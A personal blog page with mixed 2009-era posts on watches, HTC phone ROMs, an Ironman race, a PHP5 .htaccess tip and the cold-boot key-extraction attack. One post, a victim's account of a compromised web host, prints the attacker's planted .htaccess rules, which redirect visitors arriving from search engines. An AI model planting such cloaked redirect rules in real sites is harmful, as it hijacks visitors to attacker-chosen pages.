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Sunday, July 26th, 2009 | Author:

An automatic modern Слава / Slava
Slava 2427

The inscription is “автоматическое” = Automatic, “23 камней” = 23 Jewels and “Сделано в России” = “Made in Russia”.

Movement: Slava 2427 automatic
Jewels: 23
Functions: hours, minutes, seconds, day, date calendar

The unique part of the movement is there are two mainsprings.

Giving constant power, even when it’s low on reserve.

Sunday, July 26th, 2009 | Author:

I wasn’t big on watches previously, I don’t even wore a watch since school !

When my girl bought me this Fossil 52MM, I was practically hooked on big watches.

I was shopping for a mechanical watch as opposed to the usual quartz watches. I wasn’t a big fan of mainstream or popular products, I rather go out of the norm, I’m always choosing obscure products.


Sunday, July 26th, 2009 | Author:

It’s been a while since my last entry. A few things was happening, my blog engine went kaput a few weeks ago and it actually affected my Google ranking. 🙁 I saw a significant drop search engine directed traffic.

Recently I discovered some malicious activity on my other web host. I was going through my gallery, when after a few clicks, I got re-directed to I thought I haven’t renew my subscription or my domain hosting.

After checking my subscriptions, all is fine. I went into cPanel to poke around. What can cause re-directions, I check the re-directions settings, sub-domains etc. Finally I discover some re-directing codes in some of my .htaccess.


ErrorDocument 400
ErrorDocument 401
ErrorDocument 403
ErrorDocument 404
ErrorDocument 500

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ [R=301,L]

I discovered a folder was created in my public_html, “coming10/almost”. What’s almost, the hacking is almost done ?
I found the following files inside
– .htaccess
– doing83.html
– er404.php
– everyting40php
– thanks28.html

They all contain encoded javascript to redirect visitors to some site. MY VISITORS ! I reported to my web host, I wonder how much action can they take. They are using ClamAV to scan the /home. Oh well… I’m expecting somebody eye-balling the logs to determine the source of entry.

Now I still do not know how they got in, so I need to monitor my site very closely.

Category: Security, Technical  | Tags: , , ,  | One Comment
Wednesday, March 25th, 2009 | Author:

There’s a new ROM update for HTC Touch Pro, this ROM is catered for Singtel users.

Improved Functions and Fixes

1. The display of TouchFLO 3D sometimes may appear cracked.

2. When taking a picture, the auto focus function may malfunction in some circumstances.

3. In some circumstances, the preview screen will become black after taking picture.

4. In some circumstances, the device may hang while loading TouchFLO 3D.

5. When hanging up a phone call, there may be a delay in the display response.

6. Update phone answering from click type to slide type.

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Wednesday, March 25th, 2009 | Author:

Congrats to Dave on completing his Ironman 70.3.

Well it’s 7 hours journey for him, 1.9KM swim, 90KM cycling and finally 21KM of running, a total distance of 112.9KM or 70.3 miles !!

Here are some photos taken from the event.

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Friday, November 28th, 2008 | Author:

I have just attended a PPCSG organized event with speakers from HTC and Microsoft.

HTC Touch HD was demonstrated with the final ROM for Singapore, tips and tricks are shared and finally Microsoft giving a sneak preview of the Windows Live Wave 3.0.


Sunday, November 02nd, 2008 | Author:

The older version of CPanel version 10 does not have the option for changing to PHP5. So what you need to do is to add the following line to your .htaccess file.

“AddType application/x-httpd-php5 .php”

Category: Technical  | Tags: , ,  | Leave a Comment
Saturday, October 25th, 2008 | Author:

If you surf the xda-developers forums, you will notice there are so many themes on Touch Flo clocks, icons and sliders. Customising them requires you to extract those manila files manually.


Sunday, October 19th, 2008 | Author:

Yea, we all love Touch Flo 3D, but there are certain issues that probably make you wish that a Today Screen will be there.

Enter SecondToday.

Here’s how I customised my soft keys to launch SecondToday instead of Phone. I already have a hard key for phone.


Sunday, October 19th, 2008 | Author:

I just read this article on using compressed air to cool a memory chip so it will retain data even power is been cut off.

A video can be found here on the process and on why colder memory chip will retain data longer. By retaining the data, you can do a dump of the data and extract the cryptographic keys. They were able to extract keys for BitLocker, TrueCrypt, FileVault and dm-crypt.

The attack is not exploiting weakness of the encryption software but due to the fact that the keys have to be stored in memory. Encrypting the key in memory don’t really help, you still need to store that key that encrypts somewhere !

Category: Security, Systems  | Tags: ,  | Leave a Comment